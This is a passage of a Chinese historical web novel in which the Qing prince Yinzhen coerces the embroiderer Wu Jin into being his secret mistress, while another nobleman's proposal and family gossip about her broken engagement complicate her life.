乌锦从梳妆台前走过去,膳桌已经摆了四道菜,一道麻辣兔丝、一道青椒炒肉、一道蒸鱼跟一份乌鸡参汤,这会已经过了午时,离天黑还有一个时辰,他不着急走,但她着急,没有心思陪他用膳,只是在他命令她坐下时,她还是坐下来了。
“给我布菜。”
敢情她还没有资格吃,乌锦心里吐槽,但还是拿起筷子给他布菜,她不懂布菜的规矩,就是随便夹放到他布菜碟中,似不经意地问了一句:“世子爷为何心情不好?”
“与你无关,别多问。”
原来不是因为她跟雅尔江阿的事而生气,既然跟她无关,那他还把气撒到她身上,果然疯子在想什么是她不懂的,恐怕雅尔江阿下水救她的事,他都不知道吧。
既然不让她多问,那她老实闭嘴,不再多问,她一边布菜时一边想回去后她要怎么跟家里人解释自己额头上的伤,总是莫名其妙多一些伤口,久而久之也会引起家里人怀疑的。
她看向对面的人,忍不住开口道:“世子爷,奴婢的脸或是显眼的地方出现伤口,奴婢不好解释,奴婢又不能说奴婢是世子爷的外室,被世子爷所伤,可是奴婢身上总是出现伤口,奴婢的家里人会问,一次两次可以说是意外,次数多了,他们就不信了,他们会怀疑会追问,所以奴婢恳请世子爷,若是世子爷下次还想把气撒在奴婢身上,世子爷可以弄在相对隐蔽的地方,袖子下裙可以遮住的地方,这样奴婢不用解释过多。”
胤禛觉得乌锦这是明里暗里在责怪他把气撒在她身上,他眼神一冷,她不过是外室,他供养着她,每个月给她二十两银子,让她衣食无忧,还帮了她阿玛跟弟弟,她此时却反过来责怪他,她以为自己是要当养尊处优的主子嘛,不过是一卑贱的外室而已,哪怕他杀了她,他都不会觉得愧疚。
“乌锦,你认清你的身份!”
乌锦有些不明白他话中含义,疑惑瞧他:“世子爷,奴婢一直以来都知道自己的身份,只是世子爷先前说过不许奴婢对外说我们的关系,不许提起世子爷的身份,奴婢不过是想让世子爷下次若是想伤奴婢,要把伤口弄在外人看不到的隐蔽处,奴婢说错了吗?”
胤禛冷眼睨她,阴沉着脸,没有哪个丫鬟奴才敢这么跟他说话,他们都是毕恭毕敬的,她分明是在阴阳怪气,是在责怪他伤她,她看似怕他,其实一点都不怕他,不然她怎么敢这么跟他说话。
“乌锦,你别以为我是好性子,真的惹恼我,你到时候都不知道是怎么死的,你别以为你死了就一了百了,你的阿玛、额娘都会跟着你陪葬,没人能救得了你们,你最好想清楚再说话,那点小聪明给我放回肚子里去,别在我面前显摆,不然我会让你记住教训,懂了吗?”
乌锦想不明白自己又哪里说错话了,她不过让他下次伤她时伤在隐蔽处,她说错什么了?
这人到底让不让她说话,仿佛每一句话都能冒犯到他敏感的神经,人在屋檐下不得不低头,乌锦只好道歉:“是奴婢的错,奴婢不该说话,还请世子爷原谅奴婢一回,大人不记小人过,奴婢给世子爷夹菜。”
胤禛没吃多少就起身离开了,乌锦也不想多待,也很快让赵师傅送她回去。
傍晚,她家里人见到她额头上的伤口,纷纷问她是怎么伤的,她说是遇到难缠的客人,客人用茶杯砸她才造成的伤口,过几日就能好了,让他们别担心。
吃过晚饭后,她额娘过来她的房间,要跟她上药,上药时絮絮叨叨说了很多,骂那些贵人不把人当人,哪能拿她出气。
乌锦说难免会碰到几个不好相与的客人,做生意赚钱受些委屈是在所难免的,尤其她面对的都是有钱有权的贵人。
“你阿玛说这几日频频有人对他示好,称他为世子岳丈,简亲王府是我们高攀不上的,我让你阿玛别在外面乱说话,别得意忘形,不然别人真的以为我们要高攀世子。”
“额娘说得对,让阿玛别理会这些示好,省得被人抓住把柄,简亲王府高门大户,世子尊贵,不是我们这种小户人家能攀上的,我与世子也仅见过几次而已,无论我对世子,还是世子对我,都没有男女情分,女儿我只想安安心心地待在阿玛额娘身边,伴你们到老,没想嫁人。”乌锦头靠在完颜氏肩上,挽着她的手臂说道。
完颜氏慈爱地轻轻捏了捏自家女儿的脸,说道:“哪有女孩子不嫁人的,别说傻话。”
“额娘是不是巴不得我嫁出去,不在家里碍额娘的眼?”
“胡说,你一辈子都待在家里,额娘都不会赶你。”
“这可是额娘说的,不是我说的。”
母女两你一句我一句聊了小半会才歇下。
……
八月底,张府。
秦氏听闻自家儿子今日又没过去骁骑营,她过来找他,房门紧闭,伺候儿子的两个丫鬟此时在门外。
“少爷呢?”
她们指了指里面,秦氏让她们开门,她自个走进去,见到自家儿子正拿着一幅绣品在端详,她就想到他定是又在想乌锦。
此时的儿子哪有以
前意气风发的样子,反而是胡子拉碴,面容憔悴,身形瘦削,一副为情所困,抑郁不得志的模样。
都过去大半年了,自家儿子还是这样子,秦氏都怒其不争,那个乌锦有那么好嘛,她瞧着乌锦也没有特别的地方,就是一小官之女,脸上又有大疤,能嫁入他们家已经是高嫁,是乌家高攀他们,结果乌家又提出退婚,完全不把他们家放在眼里。
她听说乌锦是高攀上简亲王府,跟世子有私情了,这才退了婚,若是跟自家儿子比,的确是世子身份更尊贵,在她看来,乌锦就是一个爱慕虚荣的女子,哪里值得自家儿子念念不忘。
“儿子,你这是干什么?为何不去当差?成天窝在屋子里是想干什么,乌锦已经跟世子好上了,那女人本就是市侩庸俗之人,你何必为这种人伤神,连自己的前途都不要,你跟额娘说你到底想要干什么?”秦氏苦口婆心,想让自家儿子振作起来,别再颓废下去。
“额娘,你别管我。”
秦氏眼里泛着泪意:“你是我儿子,我怎么会不管你,你从小到大,额娘哪一件事没应你,你说要娶乌锦,我觉得乌家门户低,你非要娶,额娘也应你了,可是乌家先提出的退婚,他们家不把我们张家的脸面当回事,说退婚就退婚,如今想来是高攀上简亲王府了,你一心一意对她,可换来的是什么?额娘不想再看到你继续消沉下去,你忘了乌锦,这京城的好姑娘多的是,你何必执着在一个乌锦身上。”
张宗没法跟他额娘解释,乌锦那是被迫的,世子以强权迫她当外室,并非是她自愿,他没有办法,他只喜欢乌锦一个。
“额娘,你别管我了,我明日便会去营里当差。”
秦氏叹口气,自家儿子时不时休假,要不是有他阿玛兜着,他这骁骑校的旗缺恐怕也保不住,她道:“儿子,你忘了乌锦吧,别再想着她,好好当差,你若是能不断晋升上去,当上大官,在朝堂上出人头地,你还怕没有女人往你身边凑嘛,为了一个乌锦,你放弃你自己的前程,这只会让亲者痛仇者快,听额娘的话,把乌锦忘了,额娘再给你找一门好亲事,比乌锦好看的姑娘很多,堂堂大丈夫,拘于小情小爱,只会让人看不起,乌锦为何会退婚,她看上的是世子尊贵的身份,给他们家带来荣华富贵,她嫌弃我们张家门槛低,嫌弃你只是一六品武官,比不上简亲王府是皇亲国戚,王公贵族。”
张宗忍不住替乌锦辩解:“额娘,乌锦绝不是那样的人,她有不得已的苦衷。”
“什么苦衷,你别被她骗了,她跟世子有私情的事,八旗之中恐怕人人皆知,再过不久,许是她能嫁入王府当世子的小妾了。”
张宗看着乌锦让人送来绣好的人像图,世子这样迫她,害他跟乌锦没法成婚,错的人不是乌锦,而是世子雅尔江阿。
“额娘,我知道了,你让我好好想想吧。”
秦氏只想让他赶紧走出来,别再消沉下去,他是张家的长子,往后张家是要交到他手上的,他要肩负起属于他的责任。
“你好好想想吧,额娘先出去了。”
张宗点点头。
秦氏也不知他听没听进去,实在不行,她去找乌锦,让乌锦跟他把话说明白,想到乌锦,她忍不住生出许多不满厌恶,只是如今的乌锦恐怕攀上简亲王府了,她不好向她发难。
……
另一边的简亲王府,雅尔江阿刚从银楼那边回府就被他额娘叫过去,问到前阵子他救乌锦之事。
雅尔江阿说当时他不知落水的人是谁便跳下去救人了。
西林觉罗氏盯着自己的儿子,自己亲自抚养长大的孩子,又怎么不知他的性子,他善归善,也不会无缘无故跳下水去救人,救人哪轮得到他一个身份尊贵的世子,只管叫奴才下水去救即可。
“这里只有额娘在,你不用遮遮掩掩,只管老实跟额娘说,你是不是看上那个乌锦了?”
雅尔江阿细想一下,他的确对乌锦有几分心思,只因乌锦对他避之不及,她越这样,他反而越对她好奇,他纳她为妾,让她当个庶福晋,并非难事。
“额娘,我想纳她为妾。”雅尔江阿想明白后说道。
“不可,她容貌丑陋,家世低微,没有资格嫁进王府当你的侍妾,额娘不同意。”
雅尔江阿一愣,没想到额娘会不同意,一个小妾而已,他阿玛的小妾就有二十几个,他多一个小妾无非多添一张嘴吃饭而已,额娘为何不同意。
“额娘,乌锦的阿玛是佐领,她也身为八旗女子,家世清白,不过是为妾,不需要家世优越,门当户对。”
“额娘看不上她,你别想了,你可以纳别人为妾,那日落水之事,额娘并不在场,不知事实如何,说不定是她故意落水的,额娘感觉那个女人心机颇深,不适合嫁进我们王府,此事不要再议,你收回你的心思。”
雅尔江阿不想跟他额娘争执,说了一句他知道了便转身离开,他刚走出房间时见到站在门外的瓜尔佳氏,他的妻子。
“爷万福,我过来给额娘问安。”瓜尔佳.芷安福福身,轻声道。
雅尔江阿也不知道她有没有听到,不过听到又何妨,他纳妾是天经地义的事情,她身为正妻也不能阻拦。
“你进去吧。”
瓜尔佳.芷安带着两个丫鬟进屋,先给婆母行礼问安。
西林觉罗氏在儿媳面前不得不收起情绪,唤她起身,这会快到午时了,她让人送午膳过来,让儿媳陪她吃点。
“德隆呢?怎么不把德隆带过来?”
“回额娘,他正在睡觉呢。”
德隆是她的孙子,如今三岁了,小孩子觉多,西林觉罗氏满意地握了握儿媳的手,儿子膝下如今只有一个嫡子,是儿媳所生,她刚嫁进来第一年就给她生了孙子,就冲一点,她对这个儿媳是满意的。
“额娘,我觉得世子爷身边伺候的人的确不多,世子爷想添人伺候,儿媳不会多说什么的,人多了,也能为世子爷开枝散叶,多添子嗣。”瓜尔佳.芷安贤惠道。
西林觉罗氏抬眸看向儿媳,说道:“你都听到了是不是,我是盼着他子嗣多多,只是那个乌锦,我不喜欢,我不会让她进门的。”
西林觉罗氏忽而想到什么,又说道:“你也别多想,男人三妻四妾很正常,你是雅尔江阿明媒正娶的嫡福晋,任何人都越不过你去,德隆是我们王府的嫡孙子,你生子有功,我们不会亏待你的,你放宽心。”
瓜尔佳.芷安眼神感激地看着婆母,笑道:“额娘,我只盼着世子爷多子多福,世子爷膝下只有德隆一个,要是多一个人伺候世子爷,爷也能多一个孩子。”
“那也不是乌锦,反正我不会让她进门的,算了,别说这些,先用膳。”
西林觉罗氏不想再说此事,她之所以不想让乌锦进门,是因为乌锦是李氏那边的亲戚,李氏虽说是王爷的庶福晋,但生有一子一女,虽说李氏的儿子实格比雅尔江阿小八岁,但如今也有十岁了,正因为李氏生有一子一女,且儿女都没有夭折,王爷对李氏也有几分看重,所以她不可能让乌锦进门当雅尔江阿的庶福晋,让李氏在王府的势力继续壮大。
瓜尔佳.芷安从婆母那院出来,回到自己的院子,世子爷正在屋内午歇,她没有进去,反而转去儿子那,坐在床边看着儿子的睡颜。
世子爷对她的感情不深,生了儿子之后,世子爷碰她的次数就少了,世子爷身边除了她一个正妻,还有四个庶福晋,世子爷身边的两个丫鬟其实也是他的人,只不过没有抬为庶福晋,只是通房丫鬟。
她也没见世子爷对府里哪个女子十分上心,男人大多如此,刚开始觉得新鲜,后面就腻了,她其实并不担心那个乌锦进门,反正她已经有得隆,是世子爷的长子。
不过她还是对乌锦有几
分好奇心,尤其是世子爷主动提出要纳她为妾,婆母不同意不代表世子爷就就此放弃,男人是越得不到越想得到。
过了两天,瓜尔佳.芷安带着丫鬟明秀跟明香过去乌锦的铺子绣秀苑,她见到铺子里只有一个十四五岁的女孩,长相清秀,算不上好看,对方过来招待她,把绣好的样品拿给她看,她说她想要绣一个抹额。
对方问她想绣什么样式什么图案的抹额,拿出一本册子给她选,里头有各式各样的图案,原本瓜尔佳.芷安只是想过来看看乌锦长什么样,但看到那本册子的图案,不由地开始心动,想挑一个好看的图案,于是翻遍册子,挑了一个绣花蝶的图案,又选抹额的布料,最后收了一两银子。
瓜尔佳.芷安本以为乌锦荣貌出色,至少是个美人,但今日一看其实很普通,还比不上世子爷的那几个庶福晋长得好看,哪怕世子爷真的纳她为妾,估计不到半年就会腻了。
对方问她是要过来取还是她们送到府上给她时,她说送到府上,报上简亲王府的名号,说出她的身份,对方听完后神色并无异样,只会说十日内她们会绣好送到府上。
瓜尔佳.芷安这才觉得乌锦有点不一样,她太过镇定了,不由地多看她几眼。
“福晋,你还需要别的吗?”
“不用了。”瓜尔佳.芷安还是带着丫鬟离开。
其实此时的乌锦正在外城宅子这边,并不知道世子福晋特意过来她的铺子看她,接待瓜尔佳.芷安的人是彩玉。
这人向来横冲直撞,哪管你疼不疼,舒不舒服,她又不能制止他,只能硬生生地熬着,试图熬过去。
天热,他额间的汗水滴在她脸上,在他看她时,乌锦才轻声说了一句疼。
“哪疼?”
“哪都疼。”乌锦如实道,前几日她才被他弄得淤青满满,这淤青还没消下去,他又找她了,今日的心情看上去比前几日好一些,但也没好到哪里去,他这人疯疯的,尤其是在床上。
胤禛觉得她娇气,每次都喊疼,这点都受不住,她又不是什么养尊处优的主子,哪那么娇贵,一点疼都受不了,不过他低头一看,她身上淤青很明显,看上去很可怖,其实她的皮肤很娇嫩,稍稍一碰就会有淤青。
乌锦要是知道此时他心里在想什么,肯定会反驳,他哪是稍稍一碰,他像是在掐人,力气大到不行。
“世子爷,我没骗你。”
胤禛今日心情还不错,他已经不想着跟皇阿玛南巡的事,皇阿玛让他留下来处理朝务,其实以前皇阿玛是让太子二哥留下来监国,这次换成是他,这么一想,他心里好受许多,觉得皇阿玛还是比较看重他的,不然也不会让他留下来监国。
正因为心情不错,他才有心思搭理乌锦,说道:“我知道你没骗我,我会轻一点。”
他其实也不想把她弄得满身是伤,只是她皮肤真的太娇嫩,他明明没使很大力气,她身上就留下印记。
他低头亲她,她攀着他脖颈迎合。
事后,两人一块去沐浴,出来后回到外间,胤禛把苏培盛叫过来,平日里苏培盛都是待在倒座房那边,很少进来内院,到这边基本上是由两个嬷嬷伺候。
“药呢,给她。”
苏培盛立即会意,从兜里掏出两瓶药膏递给乌姑娘,说这是无痕膏,一些小伤只要一抹这药膏就不会留下疤痕。
乌锦拿着这两瓶药膏,见他露出一副等着她感恩戴德的样子,心里默默翻白眼,他以为她会感谢他送她两瓶药膏,她这幅样子还不是拜他所赐,事后献殷勤有什么用,心里这么想,但她还是装出感激的样子说道:“世子爷赐给奴婢的东西一定是极好的,奴婢没听说过这无痕膏,想必是皇家秘制,奴婢多谢世子爷的赏赐。”
“是好东西,千金难得,你抹在伤处,几日便能痊愈。”
还不如给她千金呢,谁知道这东西是不是真的好,乌锦心里腹诽,面上特别珍惜地将那两瓶药膏左看右看,打开瓶盖闻一下,有些刺鼻,中药草的味道很明显。
胤禛觉得她肯定没见过这样的好东西,这无痕膏是宫里特供给主子用的,一般人难得,她本来就很丑了,他不想她脸上又多出什么疤痕,才把无痕膏赐给她。
胤禛今日没什么事,想着在这里歇一会,他朝床边走去,躺了下来。
乌锦见他躺下来,不明所以。
“世子爷,你要……睡一觉?”
“我不能在这里睡一觉吗?”
“当然可以,只是奴婢铺子那边还有事,奴婢可能要先走了。”
胤禛眯了眯眼睛,冷盯着她,沉声道:“我每个月给你二十两,你觉得你那铺子每个月能赚到二十两吗?”
“奴婢不走,奴婢在这里看着世子爷入睡。”乌锦立即改口,硬扯出笑容对着他笑。
胤禛见她皮笑肉不笑的样子,眉头皱得更深,拍拍床边的位置,示意她上来。
“奴婢在这边看书就好。”
“乌锦!”
乌锦一听只好挪进去,躺在他身边。
胤禛觉得屋内热,这里又没有放着冰块,他又命令乌锦起来给他扇风。
乌锦真是被他气得牙痒痒,恨不得将他剁了,二十两银子要她当牛做马伺候他,还要她满足他的欲望,她都想给他二十两,换他服侍她,他以为她稀罕他那二十两银子。
“心里在骂我?”
“奴婢不敢。”
胤禛勾唇轻笑一声,她一脸不忿,肯定是在骂他,他心情好,没有跟她置气,命令她扇得用力点,风不够大。
乌锦拿着绣佛手花鸟玉柄团扇站在床边给他扇风,没过多久又坐在床沿边扇,扇都手腕发酸,看着他闭眼仿佛睡着后,她便停下来,一停下来,他就睁眼,她不得已又接着扇。
直到他真的睡着,她才悄悄地移到外间,在铺炕上坐着看话本子,谢嬷嬷先给她端来避子汤,后又端来一碗冰凉的八宝粥,她喝完八宝粥后觉得清爽不少。
室内很安静,只有宅子外面的蝉鸣声。
乌锦也不知道他要睡多久,她一边看话本子一边等他醒过来。
大概过了半个时辰,那人才醒,见到她还没走,他说了一句算她识相,谢嬷嬷问他要不要喝八宝粥,他摆摆手说不喝,随后带着人离开。
他走她才能走,乌锦过了未时才回到铺子,彩玉跟她说简亲王世子福晋要往抹额上绣花蝶,银子已经付了,十日后送到王府。
乌锦一听世子福晋,想到这阵子她跟雅尔江阿传出有私情的传闻,彩玉这人大大咧咧,什么事都不会多想,她觉得福晋过来肯定不是单纯为了绣抹额,这抹额属于小件物,一般的绣娘就能绣,怎么会特意过来她的铺子。
乌锦觉得自己跟简亲王世子什么事都没有,清清白白,也不再管这事。
傍晚,乌家一家人围坐在一块用膳。
眨眼间就快到九月了,乌明九月要入镶蓝旗官学念书,她额娘跟小娘在桌上商量着要给乌明添置什么。
乌锦见乌安安安静静地吃饭,她问一句乌安跟同学相处得怎么样,都学了什么,到时候他跟乌明一同在镶蓝旗官学念书,他得照顾弟弟。
乌安看了一眼正在吃红烧肉吃得满嘴油的乌明,嫌弃道:“姐姐,他这样子,我才不要跟他走在一块。”
“上学又不是吃东西,反正你别让别人欺负你弟弟就行。”
乌安说乌明这么胖,别人欺负不了他。
乌锦都忍不住笑了,乌明肥嘟嘟的,要真的打架,别人不一定打得过他,她本意是让两兄弟相互照拂,不过两人又不是同一个学堂,恐怕也照顾不到,于是她就没再说什么。
九月三日,乌明上学,家里白天没有小孩要照看,她额娘白天也去铺子那边。
乌锦怕那人又找她,她身为额娘的女儿,有时候对着额娘说谎总有点不自然,容易被额娘看出来,好在连着半个月,那人都没有过来找她。
绣好的抹额送去给世子福晋后,福晋也没有再次来铺子这边,这半个月,乌锦的日子又恢复平静。
直到雅尔江阿过来找她,说是想纳她为妾,乌锦惊到完全愣住,反应过来后心想那人连雅尔江阿
也瞒着,不然雅尔江阿也不会过来跟她说要纳她为妾。
“世子爷,你若是因为那些传闻才想纳我为妾,其实大可不必,你我都知道事情真相如何,不必在意旁人胡说的话。”
雅尔江阿没想到他把话挑明,她还拒绝他,她一个小官之女,难不成从来就没肖想过要嫁给王公贵族?
“乌姑娘难道连你的清誉都不在乎吗?我纳你为妾,正好也堵住那些胡说的人的嘴。”
一个两个都一副纡尊降贵,居高临下地施舍她的样子,仿佛她成为他们的小妾对她而言是天大的好事,从没想过别人是否情愿,乌锦只觉得好笑,雅尔江阿平日里再待人温和,他生来富贵,其实骨子里瞧不起她们这些普通百姓,温和只是表象,骨子里仍是倨傲的。
“我谢谢世子爷的好意,但是不用了,嘴长在别人身上,他们爱怎么说就怎么说,我管不了,我只知道我跟世子爷是清清白白的,我问心无愧就是。”
雅尔江阿知道乌锦这是拒绝他,无意当他的妾室,他觉得被一个小官之女下脸面了,神色略僵,张宗她不嫁,他也不嫁,那她要嫁给谁。
“乌姑娘,你真的想好了吗?”
乌锦笑了笑,轻声肯定道:“世子爷,我真的想好了,多谢世子爷的好意,但我配不上世子爷。”
正好有客人进来,雅尔江阿只能先离开。
乌锦过去接待客人,没把雅尔江阿的话放在心上。
……
翌日,雅尔江阿正好约了四阿哥在百花酒楼见面,跟四阿哥汇报银楼这半年的账目,他心情烦闷,忍不住跟四阿哥说了这事。
他一边端着酒杯,一边抱怨道:“我纳她为妾,对她而言是天上掉馅饼的事,她还敢拒绝,她不过是一样貌丑陋的女子,能给我当妾是她的造化,她以为她是谁,她又没有貌若天仙,怎么敢拒绝我,四阿哥,你说是不是?”
雅尔江阿气得连喝两杯酒。
胤禛没想到雅尔江阿竟然想纳那女人为妾,这女人当他的外室还不安分,还在招蜂引蝶,他都不知道她原来这么招人,那女人的确面相丑陋,雅尔江阿怎么会看上她。
“你为何会看上她?你先前认识她吗?”
雅尔江阿不知道四阿哥在套话,如实道:“其实我并不认识她,只见过几次,但她性子有些奇怪,别的丫鬟恨不得扒在我身上,但她每次见到我都一副不愿靠近我的模样,我对她好奇,我总觉得她比一般女子要有趣得多。”
胤禛听完后脸色才好看一些,不是她主动招惹他就行,那个女人安分守己都做不到的话,他肯定直接杀了她,省得她给他丢脸,既然成为他的人,便代表着他的颜面。
“你也见过她,就是那个脸上有疤的乌锦,她有一双好看的眼睛。”
胤禛说他没印象,不记得了。
雅尔江阿叹口气:“四阿哥不记得也正常,你说她是不是以退为进,故意拒绝我,其实欲拒还迎?”
“一个女人而已,值得你在这边记挂那么久吗?你都说她面相丑陋了,何不找一个长相好看的人。”
“四阿哥说得也对,别说她,我们来喝酒。”
胤禛看着雅尔江阿连喝好几杯,他示意苏培盛过来,附在他耳边轻声吩咐一句,过一会儿,他便起身离开。
“四阿哥,你就抛下我了?不陪我继续喝吗?”
“我要回宫了,酒钱,我付了。”
雅尔江阿嘟囔一句,没敢骂四阿哥,只能看着他离开。
胤禛自然是没有回宫,他有半个月没去找乌锦了,皇阿玛等人已经出宫南巡,他这半个月要看一大批折子,还要将一些折子送去给南巡中的皇阿玛过目,忙得没空去找乌锦,好不容易出来一趟,他过去见见她。
他先到的宅子,乌锦还没到,他坐到铺炕上见到炕几上放着上次乌锦没看完的话本子,均是汉字,她是识字的,这让他有些诧异。
她看的话本子大多讲的是男女之间那点事,他看一会觉得无趣便放下。
谢嬷嬷给主子爷添茶水,鲜果跟点心,就怕饿着主子爷。
胤禛等着不耐烦,问谢嬷嬷人几时能过来。
谢嬷嬷回道:“从乌姑娘那到外城估摸要半个时辰,应是快到了。”
胤禛也知道自己突然前来,并未提前告知,她过来是需要时间的,于是只能耐心继续等。
乌锦过来时,在门口的瓜嬷嬷示意她快些,她被瓜嬷嬷拽着进宅,她知道那人估计在等她了,她一进屋内,见到那人正坐着翻她的话本子,她喊了一声世子爷。
胤禛看她额头,她额头的伤口已经痊愈,没有留下伤疤,半个月过去,她身上的淤青肯定也褪去了。
“过来。”
乌锦走到他面前。
胤禛长臂一伸搂住她的腰,她也顺势倚在他身上,他凑上去亲她。
“唔……”
“唔什么,亲你你还不乐意。”
“世子爷,你喝酒了,有酒味。”
胤禛捏她的下巴,回道:“是喝了几杯,是甜酒来着,别给我露出嫌弃的样子,爷今日心情不错,你别惹我生气。”
天地良心,她哪敢惹他生气,不都是他自己发疯嘛,乌锦是有些嫌弃他口中的酒味,但没办法,她不能说实话,她撅嘴。
胤禛这才继续亲她,他姿态悠然,有闲心勾着她,慢慢悠悠的,反而让她有些不耐烦。
“爷,你亲就亲,别要亲不亲的。”
“这不是怕你疼嘛。”
乌锦心里冷哼一声,他什么时候怜惜过她,现在做什么样子。
“你猜我今日见着谁了?”
乌锦配合着他问见着谁了。
“简亲王世子雅尔江阿,你猜他今日都跟我说了什么?”
这是在试探还是质问?乌锦一时摸不清,她主动坦白,说昨日雅尔江阿跟她说要纳她为妾之事,不过当时她已经拒绝。
“我没想到你样貌丑陋,还能勾到别的男人纳你为妾,他今日可是言之凿凿地说一定要纳你为妾。”
乌锦转过身,贴着他的胸膛,双手攀着他的脖子,说道:“可是我已经是世子爷的人,除了世子爷,我谁都不要。”
“他一样也是世子。”
“他比不上爷尊贵,我跟他清清白白,他为何想纳我为妾,其实我也不知道缘由,我跟他只见过几面,话都没说过几句,远没有我跟世子爷这般亲密熟稔,除非爷弃我,不然我这辈子都跟着爷。”
胤禛抚着她的脸,这女人果然会睁眼说瞎话,当初她可是被迫的,那么不情愿,如今在他面前又说这辈子跟着他,她说话向来都是违心的,她这么说只是怕他生气而已。
他啃咬她的唇:“你能认清就好。”
“只是我怕雅尔江阿世子那边……”乌锦欲言又止,“他若是像世子爷那样迫我,我该如何是好,我知道世子爷跟他关系颇近,我想让世子爷跟他说清我已是世子爷的人,请他不要再来打扰我。”
“他要是真的迫你,你会从他吗?”
他当初就是迫她,拿她家人要挟,她才当了他的外室,换成是雅尔江阿世子,若是中间没有他,她估计也会妥协,皇权压人,她手无寸铁的普通人,拿什么跟他们抵抗。
乌锦搂着他,低声道:“若是他真的迫我,那是世子爷没跟他说清,世子爷没保护好我,我要怪就怪你,你既然要了我,你就该护我。”
“你倒是巧舌如簧。”
乌锦也咬他的唇,笑道:“我说得又没错,本该如此。”
胤禛搂她搂得更紧,他问她身上抹了什么香。
“我不抹香,许是体香。”乌锦说完后自己也笑了。
胤禛不由地跟着嘴角上扬,她身上的确有一股淡淡的香味,比起宫里的女人恨不得往自己身上抹上浓烈的香味,她这样反而更好闻,太浓的香味反而刺鼻。
“你这是王婆卖瓜。”
“不是爷先说我香的嘛,我不过是顺着你说而已,反倒是你满口酒味,一点都不好闻,下次不要满口酒味亲我。”
胤禛心情好,没有计较她说的话,只是抬起她的下巴,再次亲下去。
他拉
着她做了两回,许是他动作放轻不少,她整个人舒展了,不再像前几次那样一直喊疼。
至于他跟她的事要不要告诉雅尔江阿,他还得想一下,毕竟当初他跟她说他是保泰,知道的人越多越容易暴露,他暂且还不想其他人知道他养外室,这事的确不是十分光荣的事情。
过几日,胤禛直接送两位身家清白的女子过去给雅尔江阿,雅尔江阿本来就对乌锦就没有到非常喜欢,非她不可的地步,有了四阿哥送来的女人,加上平日跟乌锦没什么交集,他渐渐也忘了乌锦。
第36章第36章更新
第36章
又是一年年末,十一月初的京城寒风刺骨,胡同里的树木开始落叶,树叶泛黄落地。
今日是冬至,一大早,她额娘跟小娘先去附近的永宁寺上香,上完香后回来准备先弄早膳。
乌锦难得睡懒觉,今日铺子关门一日,她阿玛跟两个弟弟今日也放假在家,直到她大舅一家过来,外面的说话声吵醒她,她才起来。
她三个舅舅一家跟三个姨妈一家约好今天都过来他们家一起过冬至,在乌锦慢腾腾地不愿意起床时,她大舅二舅跟小舅都过来了,连带着他们的孩子,人一多院子就开始变得热闹起来。
“桃子,快起来了,你舅舅他们都到了,别赖床了。”小娘进来房中喊她。
彩玉跟着进来,冰凉的手直接伸进她脖子里面,冻得她一激灵,一下子变得清醒,彩玉恶作剧成功后就乐得大笑,她忍不住敲彩玉的脑门一下。
“彩玉,你端一盆水给她洗脸,我先出去了。”
彩玉问她是想用热水洗脸还是冷水洗脸。
“当然是热水。”
这么冷的天用冷水是想冻死她,这么多年,乌锦还是不习惯冬天用冷水,她额娘之前总说她娇贵。
彩玉端来一盆热水给她洗脸,乌锦晓得舅舅跟姨妈他们都到了,她动作变快,不到一刻钟便跟彩玉一起走出房间,跟舅舅姨妈他们打招呼。
大姨说她带了金桔过来,让她吃几个,乌锦听话地剥几个金桔吃,跟大姨说金桔特别甜,大姨呵呵直笑,让她多吃,不够再买。
大家都聚在院子里,乌安他们跟她的表弟表妹他们在一旁玩耍,彩玉也加入进去,舅舅跟姨丈他们坐在屋内的铺炕上聊天,大姨跟舅妈她们蹲在院子里帮着收拾生羊杂跟生羊肉。
乌锦又被问到亲事,几个姨跟舅妈都觉得她年纪不小了,得赶紧嫁出去,等成了老姑娘更嫁不出去了,随后又说到哪家跟哪家的儿子还没成亲,长什么样,家里做什么营生,几户人口,你一言我一语,她都插不进去话。
聊一会儿后,二姨偏头看向她,问道:“那个张宗,先前跟你订婚的那个张家公子不是也还没娶妻,桃子,你当初为什么要跟他退婚?”
乌锦被好几双眼睛一同盯着,她虚虚地笑两声,说她去厨房里面看看火,起身逃开。
一个时辰后,他们一人一碗羊杂汤,新鲜的羊杂用白胡椒、姜丝跟少许盐压住异味,热乎乎的羊杂汤放了葱丝,严寒冬日喝一碗十分暖胃,再配上烙饼,简直是人间美味,早上刚起,什么都没吃的乌锦吃得津津有味。
舅妈跟姨妈她们又忍不住跟她额娘聊起张宗,问当初为何要退婚,她额娘朝她看了一眼,说张家那边出了一点事,不适合再结为亲家。
大舅妈惋惜道:“我看那个张宗挺好的,家世好样貌好,跟我们家桃子明明很相配来着,桃子今年都十九岁了,再耽误下去就真的嫁不出去了,现在又上哪去找像张宗这样的,我看那个张宗不是也没有娶妻,不如再跟张家商量商量,看这门亲事还有没有再说和说和的机会。”
小舅插话道:“大嫂,你一个妇道人家什么都不懂,你知不知道谁看上桃子了,那个张宗算什么,是世子爷,是简亲王府的世子爷,到时候桃子是要嫁进王府当福晋的。”
大舅妈她们一惊,连忙问她小舅:“明达,你说的是真的吗?简亲王府的世子爷,那不是李福晋的儿子?”
完颜.明达轻嗤一声否认道:“什么李福晋的儿子,人家那是嫡长子,嫡福晋所生,李福晋那不过是妾而已。”
大舅妈他们看向她阿玛,纷纷问是不是真的,乌志善摇头道:“别听明达乱说,没有的事。”
“姐夫,什么没有,我在营里都听说了,真真切切,说是世子爷为了救桃子不顾生命危险跳入水中救人,当时有很多人都看到了。”
乌锦的小舅是她额娘的亲弟弟,今年二十四岁,比她大五岁,而大舅跟二舅是她小娘的弟弟,因为她额娘出身正红旗,她小舅也隶属正红旗,前年才领了旗缺,如今是普通的牛录,乌锦没想到她跟雅尔江阿的事传得这么广,连她小舅都有听说,而且已经过去四个月了,她以为这事就结束了。
乌锦难得正色严肃道:“小舅,别听别人乱说,那可是世子爷,岂是我能高攀上的,外面那些人乱说也就罢了,你可不能乱说,万一世子爷那边觉得我们乌家要赖上王府,对乌家发难怎么办,这是子虚乌有的事,我没有要嫁进王府,都不要乱说,小心找来杀身之祸,这可不是小事,祸从口出。”
乌志善也接话道:“桃子说的是真的,真的没有这回事,明达,你看我们家桃子像是能嫁进王府的人吗?”
明达也稍显疑惑:“可是我明明听说了有这一回事,传得沸沸扬扬,都说乌家要出一位福晋了。”
乌锦道:“那些人是不嫌事大,真出事也找不到他们那边去,只会害了乌家,害了我,我跟世子爷清清白白。”
明达还想说什么时,被小舅妈扯扯袖子制止,小舅妈打圆场道:“他肯定在哪里听别人说的,既然是假的,以后不说就是,这关乎桃子的清誉,的确不该乱说,但这嘴长在别人身上,别人想胡说,我们也没办法。”
